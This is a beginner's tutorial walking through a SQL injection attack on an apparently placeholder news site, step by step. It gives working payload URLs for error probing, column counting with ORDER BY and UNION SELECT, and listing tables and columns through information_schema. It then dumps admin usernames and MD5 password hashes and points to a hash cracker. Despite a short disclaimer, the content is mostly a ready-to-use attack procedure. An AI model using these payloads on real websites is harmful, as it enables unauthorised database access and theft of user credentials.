Basic SQL injection for beginner with a live example

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This tutorial is to make you familiar with how the SQL Injection actually works, Hope you don’t use this tutorial for Offensive propose. If anybody misuses I am not responsible for that.

w3ctrlhacking-sql-injection

Website Used for Practical here :

http://www.trargetwebsite.com/news_archive.php?id=6

We will check it’s vulnerability by adding magic qoute (‘) at the end of the url.

3.So the url will be like this:

http://www.trargetwebsite.com/news_archive.php?id=6′

And we hit enter and we got this result.
Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6’;
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1)
Database error: next_record called with no query pending.
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1)

If you got an error, some text missing or a blank page the site is vulnerable but not at all.

Now we know that the site is vulnerable.

4.The next step is find out how many columns the database contain
To find it we use “order by” (without the qoute) and this string ” — ” (no qoute).

It will look like this:

http://www.trargetwebsite.com/news_archive.php?id=6 order by 1– (no error)
http://www.trargetwebsite.com/news_archive.php?id=6 order by 2– (no error)
http://www.trargetwebsite.com/news_archive.php?id=6 order by 3– (no error)

we move a little higher. (it doesn’t matter)

http://www.trargetwebsite.com/news_archive.php?id=6 order by 10– (no error)
http://www.trargetwebsite.com/news_archive.php?id=6 order by 14– (no error)

until we got an error:

http://www.trargetwebsite.com/news_archive.php?id=6 order by 15– (we got an error)

now we got an error on this column:it will lok like this.
Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6 order by 15–;
mySQL Error: 1054 (Unknown column ’15′ in ‘order clause’)
Database error: next_record called with no query pending.
mySQL Error: 1054 (Unknown column ’15′ in ‘order clause’)

this mean the database contain only 14 columns.

5.. Now use “-” (negative quote) and union select statement.

using this we can select more data in one sql statement.

Look like this:

http://www.trargetwebsite.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14–

we hit enter.

numbers appears..
Like this:
6
, 5

8

6.Now we will check it’s MYSQL VERSION. We will add @@version on the numbers appear on the previous step.

lemme say i choose 8.. we will replace 8 with @@version,so it will look like this.

http://www.trargetwebsite.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, @@version, 9, 10, 11, 12, 13, 14–

and you will get a result like this:
6
, 5

5.1.32 <–this is the version

now we get the version:

7.Getting Table Name.

We use group_concat(table_name).
replace @@version with group_concat(table_name)

and look like this:
http://www.trargetwebsite.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14–

were not done already: (don’t hit enter)

between number 14 and this “–” (quote) insert this:

+from+information_schema.tables+where+table_schema =database()–

it will look like this:

http://www.trargetwebsite.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_sche ma=database()–

we hit enter and got this result:
Blurb,FileUpload,Inquiries,NewsArticle,ProjectPhot o,active_sessions_split,auth_u ​ser_md5

8. Now we’re done on TABLE NAME, we move on to COLUMN NAME.

use this string group_concat(column_name)

replace group_concat(table_name) to group_concat(column_name).

but before that we must choose one column. i choose auth_user_md5 because this is must or what we want.

for better result we need to hex auth_user_md5.

Go to this Link: Click here!

paste auth_user_md5 to the text box and click encode.

now we get the hex of auth_user_md5: look like this: 61 75 74 68 5f 75 73 65 72 5f 6d 64 35

before proceeding remove space between each numbers. like this: 617574685f757365725f6d6435

Now replace group_concat(table_name) to group_concat(column_name).

like this:
http://www.trargetwebsite.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_sche ma=database()–

replace also +from+information_schema.tables+where+table_schema =database()–
to
+from+information_schema.columns+where+table_name= 0x617574685f757365725f6d6435–

(The yellow letter and numbers is the auth_user_md5 hex we encoded)

Note: always add 0x before the hex. Like above.

Here is the result:

http://www.trargetwebsite.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.columns+where+table_nam e=0x617574685f757365725f6d6435–

Now hit enter: and you got result like this.
UserID,Username,Password,Perms,FirstName,MiddleNam e,LastName,Position,EmailAddre ​ss,ContactNumbers,DateCreated,CreatedBy,DateModif ied,ModifiedBy,Status

9.We use 0x3a to obtain what we want from the DATABASE like pass, username, etc..etc..

Replace group_concat(column_name) to group_concat(UserID,0x3a,Username,0x3a,Password,0x 3a,Perms,0x3a,FirstName,0x3a,M ​ iddleName,0x3a,LastName,0x3a,Position,0x3a,EmailAd dress,0x3a,ContactNumbers,0x3a ​ ,DateCreated,0x3a,CreatedBy,0x3a,DateModified,0x3a ,ModifiedBy,0x3aStatus)

but i prefer to do this one group_concat(Username,0x3a,Password) for less effort.

and replace also information_schema.columns+where+table_name=0×6175 74685f757365725f6d6435– to +from+auth_user_md5–

617574685f757365725f6d6435 is the hex value of auth_user_md5 so we replace it.

Result look like this:

http://www.trargetwebsite.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7,group_concat(Username,0x3a,Password), 9, 10, 11, 12, 13, 14+from+auth_user_md5–

i hit enter we got this:
admin username: k2admin / admin
password in md5 hash:21232f297a57a5a743894a0e4a801fc3 / 97fda9951fd2d6c75ed53484cdc6ee2d

10.Because the password is in md5 hash we need to crack it.

Go to this link: Click here!

congratulation!!!

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